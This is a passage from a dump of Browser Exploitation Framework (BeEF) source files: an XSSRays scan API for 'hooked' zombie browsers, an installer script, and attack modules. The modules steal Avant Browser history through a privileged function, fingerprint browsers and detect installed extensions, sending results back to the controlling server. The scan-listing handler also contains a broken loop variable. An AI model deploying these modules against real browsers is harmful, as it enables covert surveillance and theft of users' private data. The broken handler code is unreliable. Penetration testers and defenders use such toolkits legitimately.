end\n\n        # Returns the entire list of scans for all zombies\n        get '/scans' do\n          scans = XS.distinct.order(:id)\n          count = scans.length\n\n          result = {}\n          result[:count] = count\n          result[:scans] = []\n          scans.each do |scan|\n            result[:scans] << scan2hash(scan)\n          end\n          result.to_json\n        rescue StandardError => e\n          print_error \"Internal error while retrieving scans (#{e.message})\"\n          halt 500\n        end\n\n        # Returns all scans given a specific hooked browser id\n        get '/scans/:id' do\n          id = params[:id]\n\n          scans = XS.where(hooked_browser_id: id).distinct.order(:id)\n          count = scans.length\n\n          result = {}\n          result[:count] = count\n          result[:scans] = []\n          scans.each do |_scans|\n            result[:scans] << scan2hash(scan)\n          end\n          result.to_json\n        rescue InvalidParamError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while retrieving scans list for hooked browser with id #{id} (#{e.message})\"\n          halt 500\n        end\n\n        # Starts a new scan on the specified zombie ID\n        post '/scan/:id' do\n          id = params[:id]\n\n          hooked_browser = HB.where(session: id).distinct.order(:id).first\n\n          if hooked_browser.nil?\n            print_error '[XSSRAYS] Invalid hooked browser ID'\n            return\n          end\n\n          # set Cross-origin settings\n          cross_origin = params[:cross_origin].to_s\n          cross_origin = if cross_origin == ''\n                           CROSS_ORIGIN\n                         else\n                           cross_origin != 'false'\n                         end\n\n          # set clean timeout settings\n          clean_timeout = params[:clean_timeout].to_s\n          clean_timeout = CLEAN_TIMEOUT if clean_timeout == '' || !Filters.alphanums_only?(clean_timeout)\n\n          xssrays_scan = XS.new(\n            hooked_browser_id: hooked_browser.id,\n            scan_start: Time.now,\n            domain: hooked_browser.domain,\n            # check also cross-origin URIs found by the crawler\n            cross_origin: cross_origin,\n            # how long to wait before removing the iFrames from the DOM (5000ms default)\n            clean_timeout: clean_timeout\n          )\n          xssrays_scan.save\n\n          print_info(\n            \"[XSSRays] Starting XSSRays [ip:#{hooked_browser.ip}], \" \\\n            \"hooked origin [#{hooked_browser.domain}], \" \\\n            \"cross-origin: #{cross_origin}, \" \\\n            \"clean timeout: #{clean_timeout}\"\n          )\n\n          result = scan2hash(xssrays_scan)\n          print_debug \"[XSSRays] New scan: #{result}\"\n\n          # result.to_json\n        rescue InvalidParamError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while creating XSSRays scan on zombie with id #{id} (#{e.message})\"\n          halt 500\n        end\n\n        private\n\n        # Convert a ray object to JSON\n        def ray2hash(ray)\n          {\n            id: ray.id,\n            hooked_browser_id: ray.hooked_browser_id,\n            vector_name: ray.vector_name,\n            vector_method: ray.vector_method,\n            vector_poc: ray.vector_poc\n          }\n        end\n\n        # Convert a scan object to JSON\n        def scan2hash(scan)\n          {\n            id: scan.id,\n            hooked_browser_id: scan.hooked_browser_id,\n            scan_start: scan.scan_start,\n            scan_finish: scan.scan_finish,\n            domain: scan.domain,\n            cross_origin: scan.cross_origin,\n            clean_timeout: scan.clean_timeout,\n            is_started: scan.is_started,\n            is_finished: scan.is_finished\n          }\n        end\n\n        # Raised when invalid JSON input is passed to an /api/xssrays handler.\n        class InvalidJsonError < StandardError\n          DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/xssrays handler'.freeze\n\n          def initialize(message = nil)\n            super(message || DEFAULT_MESSAGE)\n          end\n        end\n\n        # Raised when an invalid named parameter is passed to an /api/xssrays handler.\n        class InvalidParamError < StandardError\n          DEFAULT_MESSAGE = 'Invalid parameter passed to /api/xssrays handler'.freeze\n\n          def initialize(message = nil)\n            str = 'Invalid \"%s\" parameter passed to /api/xssrays handler'\n            message = format str, message unless message.nil?\n            super(message)\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "googlef1d5ff5151333109.html",
    "content": "google-site-verification: googlef1d5ff5151333109.html"
  },
  {
    "path": "install",
    "content": "#!/bin/bash\n#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nset -euo pipefail\nNORMIFS=$IFS\nSCRIFS=$'\\n\\t'\nIFS=$SCRIFS\n\ninfo() { echo -e \"\\\\033[1;36m[INFO]\\\\033[0m  $*\"; }\nwarn() { echo -e \"\\\\033[1;33m[WARNING]\\\\033[0m  $*\"; }\nfatal() {\n\techo -e \"\\\\033[1;31m[FATAL]\\\\033[0m  $*\"\n\texit 1\n}\n\nRUBYSUFFIX=''\n\ncommand_exists() {\n\n\tcommand -v \"${1}\" >/dev/null 2>&1\n}\n\nget_permission() {\n\n\twarn 'This script will install BeEF and its required dependencies (including operating system packages).'\n\n\tread -rp \"Are you sure you wish to continue (Y/n)? \"\n\tif [ \"$(echo \"${REPLY}\" | tr \"[:upper:]\" \"[:lower:]\")\" = \"n\" ]; then\n\t\tfatal 'Installation aborted'\n\tfi\n\n}\n\ncheck_os() {\n\n\tinfo \"Detecting OS...\"\n\n\tOS=$(uname)\n\treadonly OS\n\tinfo \"Operating System: $OS\"\n\tif [ \"${OS}\" = \"Linux\" ]; then\n\t\tinfo \"Launching Linux install...\"\n\t\tinstall_linux\n\telif [ \"${OS}\" = \"Darwin\" ]; then\n\t\tinfo \"Launching Mac OSX install...\"\n\t\tinstall_mac\n\telif [ \"${OS}\" = \"FreeBSD\" ]; then\n\t\tinfo \"Launching FreeBSD install...\"\n\t\tfor SUFX in 32 31 30; do\n\t\t\tif command_exists ruby${SUFX}; then\n\t\t\t\tRUBYSUFFIX=${SUFX}\n\t\t\t\tbreak\n\t\t\tfi\n\t\tdone\n\t\tinstall_freebsd\n\telif [ \"${OS}\" = \"OpenBSD\" ]; then\n\t\tinfo \"Launching OpenBSD install...\"\n\t\tfor SUFX in 32 31 30; do\n\t\t\tif command_exists ruby${SUFX}; then\n\t\t\t\tRUBYSUFFIX=${SUFX}\n\t\t\t\tbreak\n\t\t\tfi\n\t\tdone\n\t\tinstall_openbsd\n\telse\n\t\tfatal \"Unable to locate installer for your operating system: ${OS}\"\n\tfi\n}\n\ninstall_linux() {\n\n\tinfo \"Detecting Linux OS distribution...\"\n\n\tDistro=''\n\tif [ -f /etc/blackPanther-release ]; then\n\t\tDistro='blackPanther'\n\telif [ -f /etc/redhat-release ]; then\n\t\tDistro='RedHat'\n\telif [ -f /etc/debian_version ]; then\n\t\tDistro='Debian'\n\telif [ -f /etc/alpine-release ]; then\n\t\tDistro='Alpine'\n\telif [ -f /etc/os-release ]; then\n\t\t#DISTRO_ID=$(grep ^ID= /etc/os-release | cut -d= -f2-)\n\t\tDISTRO_ID=$(grep ID= /etc/os-release | grep -v \"BUILD\" | grep -v \"IMAGE\" | cut -d= -f2-)\n\t\tif [ \"${DISTRO_ID}\" = 'kali' ]; then\n\t\t\tDistro='Kali'\n\t\telif [ \"${DISTRO_ID}\" = 'arch' ] || [ \"${DISTRO_ID}\" = 'garuda' ] || [ \"${DISTRO_ID}\" = 'artix' ] || [ \"${DISTRO_ID}\" = 'manjaro' ] || [ \"${DISTRO_ID}\" = 'blackarch' ] || [ \"${DISTRO_ID}\" = 'arcolinux' ] || [ \"${DISTRO_ID}\" = '\"endeavouros\"' ]; then\n\t\t\tDistro='Arch'\n\t\telif grep -Eqi '^ID.*suse' /etc/os-release; then\n\t\t\tDistro='SuSE'\n\t\tfi\n\tfi\n\n\tif [ -z \"${Distro}\" ]; then\n\t\tfatal \"Unable to locate installer for your ${OS} distribution\"\n\tfi\n\treadonly Distro\n\tinfo \"OS Distribution: ${Distro}\"\n\tinfo \"Installing ${Distro} prerequisite packages...\"\n\tif [ \"${Distro}\" = \"Debian\" ] || [ \"${Distro}\" = \"Kali\" ]; then\n\t\tsudo apt-get update\n\t\tsudo apt-get install curl git build-essential openssl libreadline6-dev zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-0 libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev autoconf libc6-dev libncurses5-dev automake libtool bison nodejs libcurl4-openssl-dev\n\t\tif command_exists rvm || command_exists rbenv; then\n\t\t\tinfo \"Ruby package Manager exists - Ruby install skipped\"\n\t\telse\n\t\t\tinfo \"No Ruby package manager detected - will install Ruby\"\n\t\t\tsudo apt-get install ruby-dev\n\t\tfi\n\telif [ \"${Distro}\" = \"RedHat\" ]; then\n\t\tsudo yum install -y git make gcc openssl-devel gcc-c++ patch readline readline-devel zlib zlib-devel libyaml-devel libffi-devel bzip2 autoconf automake libtool bison sqlite-devel nodejs\n\telif [ \"${Distro}\" = \"SuSE\" ]; then\n\t\tIFS=$NORMIFS\n\t\tintpkg=\"\"\n\t\tnodejsver=nodejs16\n\n\t\t# having NodeJS 18 installed should mean NodeJS 16 is not needed\n\t\trpm --quiet -q nodejs18 && nodejsver=\"\"\n\n\t\tfor i in git make gcc libopenssl-devel gcc-c++ patch libreadline6 readline6-devel libz1 zlib-devel libyaml-devel libffi-devel bzip2 autoconf automake libtool bison sqlite3-devel $nodejsver; do\n\t\t\trpm --quiet -q \"${i}\" || intpkg=\"${intpkg} ${i}\"\n\t\tdone\n\t\t[ \"$intpkg\" ] && sudo zypper -n install -l \"${intpkg}\"\n\t\tIFS=$SCRIFS\n\telif [ \"${Distro}\" = \"blackPanther\" ]; then\n\t\tinstalling --auto git make gcc openssl-devel gcc-c++ patch readline-devel zlib-devel yaml-devel libffi-devel bzip2 autoconf automake libtool bison sqlite-devel nodejs sudo\n\telif [ \"${Distro}\" = \"Arch\" ]; then\n\t\tsudo pacman -Syu\n\t\tsudo pacman -S curl git make openssl gcc readline zlib libyaml sqlite bzip2 autoconf automake libtool bison nodejs\n\t\tif command_exists rvm || command_exists rbenv; then\n\t\t\tinfo \"Ruby package Manager exists - Ruby install skipped\"\n\t\telse\n\t\t\tinfo \"No Ruby package manager detected - will install Ruby\"\n\t\t\tsudo pacman -S ruby ruby-rdoc\n\t\tfi\n\telif [ \"${Distro}\" = \"Alpine\" ]; then\n\t\tapk update\n\t\tapk add curl git build-base openssl readline-dev zlib zlib-dev libressl-dev yaml-dev sqlite-dev sqlite libxml2-dev libxslt-dev autoconf libc6-compat ncurses5 automake libtool bison nodejs\n\tfi\n}\n\ninstall_openbsd() {\n\n\tsudo pkg_add curl git libyaml libxml libxslt bison node ruby${RUBYSUFFIX}-bundler lame espeak\n}\n\ninstall_freebsd() {\n\n\tsudo pkg install curl git libyaml libxslt devel/ruby-gems bison node espeak\n}\n\ninstall_mac() {\n\n\tlocal mac_deps=(curl git nodejs python3\n\t\topenssl readline libyaml sqlite3 libxml2\n\t\tautoconf ncurses automake libtool\n\t\tbison wget)\n\n\tif ! command_exists brew; then\n\t\tfatal \"Homebrew (https://brew.sh/) required to install dependencies\"\n\tfi\n\n\tinfo \"Installing dependencies via brew\"\n\n\tbrew update\n\n\tfor package in \"${mac_deps[@]}\"; do\n\n\t\tif brew install \"${package}\"; then\n\t\t\tinfo \"${package} installed\"\n\t\telse\n\t\t\tfatal \"Failed to install ${package}\"\n\t\tfi\n\n\tdone\n}\n\ncheck_ruby_version() {\n\n\tinfo 'Detecting Ruby environment...'\n\n\tMIN_RUBY_VER='3.0'\n\tif command_exists ruby${RUBYSUFFIX}; then\n\t\tRUBY_VERSION=$(ruby${RUBYSUFFIX} -e \"puts RUBY_VERSION\")\n\t\tinfo \"Ruby version ${RUBY_VERSION} is installed\"\n\t\tif [ \"$(ruby${RUBYSUFFIX} -e \"puts RUBY_VERSION.to_f >= ${MIN_RUBY_VER}\")\" = 'false' ]; then\n\t\t\tfatal \"Ruby version ${RUBY_VERSION} is not supported. Please install Ruby ${MIN_RUBY_VER} (or newer) and restart the installer.\"\n\t\tfi\n\telse\n\t\tfatal \"Ruby is not installed. Please install Ruby ${MIN_RUBY_VER} (or newer) and restart the installer.\"\n\tfi\n}\n\ncheck_bundler() {\n\n\tinfo 'Detecting bundler gem...'\n\n\tif command_exists bundler${RUBYSUFFIX}; then\n\t\tinfo \"bundler${RUBYSUFFIX} gem is installed\"\n\telse\n\t\tinfo 'Installing bundler gem...'\n\t\tgem${RUBYSUFFIX} install bundler\n\tfi\n}\n\ninstall_beef() {\n\n\techo \"Installing required Ruby gems...\"\n\n\tif [ -w Gemfile.lock ]; then\n\t\t/bin/rm Gemfile.lock\n\tfi\n\n\tif command_exists bundle${RUBYSUFFIX}; then\n\t\tbundle${RUBYSUFFIX} install\n\telse\n\t\tbundle install\n\tfi\n}\n\nfinish() {\n\techo\n\techo \"#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#\"\n\techo\n\tinfo \"Install completed successfully!\"\n\tinfo \"Run './beef' to launch BeEF\"\n\techo\n\techo \"Next steps:\"\n\techo\n\techo \"* Change the default password in config.yaml\"\n\techo \"* Configure geoipupdate to update the Maxmind GeoIP database:\"\n\techo \"*   https://dev.maxmind.com/geoip/updating-databases\"\n\techo \"* Review the wiki for important configuration information:\"\n\techo \"  https://github.com/beefproject/beef/wiki/Configuration\"\n\techo\n\techo \"#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#\"\n\techo\n}\n\nmain() {\n\n\tclear\n\n\tif [ -f core/main/console/beef.ascii ]; then\n\t\tcat core/main/console/beef.ascii\n\t\techo\n\tfi\n\n\techo \"#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#\"\n\techo \"                   -- [ BeEF Installer ] --                      \"\n\techo \"#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#\"\n\techo\n\n\tif [ -n \"${GITACTIONS:-}\" ]; then\n\t\tinfo \"Skipping: Running on Github Actions\"\n\telse\n\t\tget_permission\n\tfi\n\tcheck_os\n\tcheck_ruby_version\n\tcheck_bundler\n\tinstall_beef\n\tfinish\n}\n\nmain \"$@\"\n"
  },
  {
    "path": "modules/browser/avant_steal_history/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//     http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n//\nbeef.execute(function() {\n\n\tif (!beef.browser.isA()) {\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Exploit failed. Target browser is not Avant Browser.\");\n\t\treturn;\n\t}\n\n\tvar avant_iframe = document.createElement(\"iframe\");\n\t//var avant_iframe = beef.dom.createInvisibleIframe();\n\tavant_iframe.setAttribute('src',      'browser:home');\n\tavant_iframe.setAttribute('name',     'avant_history_<%= @command_id %>');\n\tavant_iframe.setAttribute('width',    '0');\n\tavant_iframe.setAttribute('heigth',   '0');\n\tavant_iframe.setAttribute('scrolling','no');\n\tavant_iframe.setAttribute('style',    'display:none');\n\n\tdocument.body.appendChild(avant_iframe);\n\n\tvar vstr = {value: \"\"};\n\n\tif (window['avant_history_<%= @command_id %>'].navigator) {\n\t\t//This works if FF is the rendering engine\n\t\twindow['avant_history_<%= @command_id %>'].navigator.AFRunCommand(<%= @cId %>, vstr);\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=\"+vstr.value);\n\t} else {\n\t\t// this works if Chrome is the rendering engine\n\t\t//window['avant_history_<%= @command_id %>'].AFRunCommand(60003, vstr);\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Exploit failed. Rendering engine is not set to Firefox.\");\n\t}\n\n});\n\n"
  },
  {
    "path": "modules/browser/avant_steal_history/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nbeef:\n    module:\n        avant_steal_history:\n            enable: true\n            category: \"Browser\"\n            name: \"Get Visited URLs (Avant Browser)\"\n            description: \"This module attempts to retrieve a user's browser history by invoking the 'AFRunCommand()' privileged function.<br/><br/>Note: Avant Browser in Firefox engine mode only.\"\n            authors: [\"Roberto Suggi Liverani\"]\n            target:\n                working: [\"FF\"]\n"
  },
  {
    "path": "modules/browser/avant_steal_history/module.rb",
    "content": "#\n# Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nclass Avant_steal_history < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'cId', 'ui_label' => 'Command ID', 'value' => '60003', 'type' => 'textarea', 'width' => '400px', 'height' => '25px' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/browser/browser_fingerprinting/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar browser_type = new Array;\n\tvar browser_version = new Array;\n\tvar dom = document.createElement('b');\n\n  function unique(array) {\n    return $.grep(array, function(el, index) {\n      return index === $.inArray(el, array);\n    });\n  }\n\n\tparse_browser_details = function() {\n\t\tif (!browser_type.length) browser_type[0] = \"unknown\";\n\t\tif (!browser_version.length) browser_version[0] = \"unknown\";\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"browser_type=\"+unique(browser_type)+\"&browser_version=\"+unique(browser_version));\n\t};\n\n\t// Browser fingerprints // in the form of: \"URI\",\"Browser\",\"version(s)\"\n\tvar fingerprints = new Array(\n\t\tnew Array(\"Safari\",\"1+\",\"feed://__rsrc__/__rsrc__/NextPage.tif\"),\n\t\tnew Array(\"Firefox\",\"1+\",\"moz-icon://.autoreg?size=16\"),\n\t\tnew Array(\"Firefox\",\"2\",\"resource:///res/html/gopher-audio.gif\"),\n\t\tnew Array(\"Firefox\",\"2-3\",\"jar:resource:///chrome/classic.jar!/skin/classic/browser/Secure.png\"),\n\t\tnew Array(\"Firefox\",\"4-5\",\"resource:///chrome/browser/skin/classic/browser/Secure.png\"),\n\t\tnew Array(\"Firefox\",\"1-6\",\"resource:///chrome/browser/content/branding/icon128.png\"),\n\t\tnew Array(\"Firefox\",\"4+\",\"resource:///chrome/browser/skin/classic/browser/Geolocation-16.png\"),\n\t\tnew Array(\"Firefox\",\"7+\",\"resource:///chrome/browser/content/browser/aboutHome-snippet1.png\"),\n\t\tnew Array(\"Firefox\",\"8+\",\"resource:///chrome/browser/skin/classic/aero/browser/Toolbar-inverted.png\"),\n\t\tnew Array(\"Firefox\",\"9+\",\"resource:///chrome/browser/skin/classic/aero/browser/identity.png\"),\n\t\tnew Array(\"Firefox\",\"10+\",\"chrome://browser/skin/sync-128.png\"),\n\t\tnew Array(\"Firefox\",\"13+\",\"chrome://browser/content/abouthome/noise.png\"),\n\t\tnew Array(\"Firefox\",\"18+\",\"resource:///chrome/browser/skin/classic/aero/browser/webRTC-shareDevice-16.png\"),\n\t\tnew Array(\"Internet Explorer\",\"5-6\",\"res://shdoclc.dll/pagerror.gif\"),\n\t\tnew Array(\"Internet Explorer\",\"7-9\",\"res://ieframe.dll/ielogo.png\"),\n\t\tnew Array(\"Internet Explorer\",\"7+\", \"res://ieframe.dll/info_48.png\"),\n\t\tnew Array(\"Internet Explorer\",\"10+\",\"res://ieframe.dll/immersivelogo.png\"),\n\t\tnew Array(\"Tor Browser\",\"1+\",\"chrome://browser/content/abouttbupdate/aboutTBUpdateLogo.png\")\n\t);\n\n\tfor (var i=0; i<fingerprints.length; i++) {\n\t\tvar img = new Image;\n\t\timg.id = fingerprints[i][0];\n\t\timg.name = fingerprints[i][1];\n\t\timg.src = fingerprints[i][2];\n\t\timg.onload = function() { browser_type.push(this.id); browser_version.push(this.name); dom.removeChild(this); }\n\t\tdom.appendChild(img);\n\t}\n\n\tsetTimeout('parse_browser_details();', 2000);\n\n});\n\n"
  },
  {
    "path": "modules/browser/browser_fingerprinting/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        browser_fingerprinting:\n            enable: true\n            category: \"Browser\"\n            name: \"Fingerprint Browser (PoC)\"\n            description: \"This module attempts to fingerprint the browser type and version using URI protocol handlers unique to Safari, Internet Explorer and Mozilla Firefox.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"IE\", \"FF\", \"S\"]\n                not_working: [\"ALL\"]\n"
  },
  {
    "path": "modules/browser/browser_fingerprinting/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# Uses methods described here:\n# http://www.itsecuritysolutions.org/2010-03-29_fingerprinting_browsers_using_protocol_handlers/\n\nclass Browser_fingerprinting < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['browser_type'] = @datastore['browser_type'] unless @datastore['browser_type'].nil?\n    content['browser_version'] = @datastore['browser_version'] unless @datastore['browser_version'].nil?\n    content['fail'] = 'Failed to fingerprint browser.' if content.empty?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/detect_activex/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar result = (beef.browser.hasActiveX())? \"Yes\" : \"No\";\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"activex=\"+result);\n\n});\n\n"
  },
  {
    "path": "modules/browser/detect_activex/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_activex:\n            enable: true\n            category: \"Browser\"\n            name: \"Detect ActiveX\"\n            description: \"This module will check if the browser has ActiveX support.\"\n            authors: [\"bcoles\"]\n            target:\n                user_notify: [\"IE\"]\n                not_working: [\"All\"]\n"
  },
  {
    "path": "modules/browser/detect_activex/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Detect_activex < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['activex'] = @datastore['activex']\n    save content\n\n    activex = @datastore['results'].scan(/^activex=(Yes|No)/).flatten.first\n    return unless activex\n\n    BeEF::Core::Models::BrowserDetails.set(@datastore['beefhook'], 'browser.capabilities.activex', activex)\n  end\nend\n"
  },
  {
    "path": "modules/browser/detect_evernote_clipper/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\tvar result = \"\";\n\n\tvar s = document.createElement('script');\n\ts.onload = function() {\n\t\tresult = \"Detected through presense of extension content script.\";\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"evernote_clipper=\"+result);\n\t}\n\ts.src = 'chrome-extension://pioclpoplcdbaefihamjohnefbikjilc/content/frame.js';\n\tdocument.body.appendChild(s);\n\n\tvar evdiv = document.getElementById('evernoteGlobalTools');\n\tif (typeof(evdiv) != 'undefined' && evdiv != null) {\n\t\t// Evernote Web Clipper must have been active as well, because we can detect one of the iFrames\n\t\tiframeresult = \"Detected evernoteGlobalTools iFrame. Looks like the Web Clipper has been used on this page\";\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"evernote_clipper=\"+iframeresult);\n\t}\n\n\n\tsetTimeout(function() {\n\t\tif (result == \"\") {\n\t\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"evernote_clipper=Not Detected\");\n\t\t}\t\n\t\tdocument.body.removeChild(s);\n\t\t}, 2000);\n\n});\n\n"
  },
  {
    "path": "modules/browser/detect_evernote_clipper/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_evernote_clipper:\n            enable: true\n            category: \"Browser\"\n            name: \"Detect Evernote Web Clipper\"\n            description: \"This module checks if the Evernote Web Clipper extension is installed and active.\"\n            authors: [\"xntrik\"]\n            target:\n                 not_working: [\"IE\"]\n                 working: [\"C\"]\n"
  },
  {
    "path": "modules/browser/detect_evernote_clipper/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Detect_evernote_clipper < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['evernote_clipper'] = @datastore['evernote_clipper'] unless @datastore['evernote_clipper'].nil?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/detect_extensions/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tchrome_extensions = new Array(\n\t\tnew Array(\"blpcfgokakmgnkcojhhkbfbldkacnbeo\",\"YouTube\"),\n\t\tnew Array(\"pjkljhegncpnkpknbcohdijeoejaedia\",\"Gmail\"),\n\t\tnew Array(\"coobgpohoikkiipiblmjeljniedjpjpf\",\"Google Search\"),\n\t\tnew Array(\"aknpkdffaafgjchaibgeefbgmgeghloj\",\"Angry Birds\"),\n\t\tnew Array(\"gighmmpiobklfepjocnamgkkbiglidom\",\"AdBlock\"),\n\t\tnew Array(\"cfhdojbkjhnklbpkdaibdccddilifddb\",\"Adblock Plus (Beta)\"),\n\t\tnew Array(\"ejjicmeblgpmajnghnpcppodonldlgfn\",\"Google Calendar\"),\n\t\tnew Array(\"mihcahmgecmbnbcchbopgniflfhgnkff\",\"Google Mail Checker\"),\n\t\tnew Array(\"lneaknkopdijkpnocmklfnjbeapigfbh\",\"Google Maps\"),\n\t\tnew Array(\"elioihkkcdgakfbahdoddophfngopipi\",\"FB Photo Zoom\"),\n\t\tnew Array(\"mmcegpfdgcoclcdfkjahiimlikdpnina\",\"Plants vs Zombies\"),\n\t\tnew Array(\"apdfllckaahabafndbhieahigkjlhalf\",\"Google Docs\"),\n\t\tnew Array(\"bfbmjmiodbnnpllbbbfblcplfjjepjdn\",\"Turn Off the Lights\"),\n\t\tnew Array(\"ejidjjhkpiempkbhmpbfngldlkglhimk\",\"Offline Google Mail\"),\n\t\tnew Array(\"pioclpoplcdbaefihamjohnefbikjilc\",\"Evernote Web Clipper\"),\n\t\tnew Array(\"aapbdbdomjkkjkaonfhkkikfgjllcleb\",\"Google Translate\"),\n\t\tnew Array(\"oadboiipflhobonjjffjbfekfjcgkhco\",\"Google Chrome to Phone Extension\"),\n\t\tnew Array(\"inmnggcpelemfookhlhkdfbechcdadfp\",\"Picnik\"),\n\t\tnew Array(\"hehijbfgiekmjfkfjpbkbammjbdenadd\",\"IE Tab\"),\n\t\tnew Array(\"hbdpomandigafcibbmofojjchbcdagbl\",\"TweetDeck\"),\n\t\tnew Array(\"mmimngoggfoobjdlefbcabngfnmieonb\",\"Google Books\"),\n\t\tnew Array(\"mgijmajocgfcbeboacabfgobmjgjcoja\",\"Google Dictionary (by Google)\"),\n\t\tnew Array(\"alelhddbbhepgpmgidjdcjakblofbmce\",\"Awesome Screenshot: Capture \\\\u0026 Annotate\"),\n\t\tnew Array(\"lbfehkoinhhcknnbdgnnmjhiladcgbol\",\"Evernote Web\"),\n\t\tnew Array(\"ciagpekplgpbepdgggflgmahnjgiaced\",\"Add to Amazon Wish List\"),\n\t\tnew Array(\"mmffncokckfccddfenhkhnllmlobdahm\",\"FastestWeb - Browse Faster\"),\n\t\tnew Array(\"onlgmecjpnejhfeofkgbfgnmdlipdejb\",\"Picasa\"),\n\t\tnew Array(\"fjnbnpbmkenffdnngjfgmeleoegfcffe\",\"Stylish\"),\n\t\tnew Array(\"keembkgclppcbilkekfgpobhldjjhpmn\",\"Cargo Bridge\"),\n\t\tnew Array(\"adpkifcfcacgmnggcbpbjbkdijciiigm\",\"Bejeweled\"),\n\t\tnew Array(\"pgjchkcfmigkkhedgjedmffdepgmpfil\",\"Psykopaint\"),\n\t\tnew Array(\"poknhlcknimnnbfcombaooklofipaibk\",\"Canvas Rider\"),\n\t\tnew 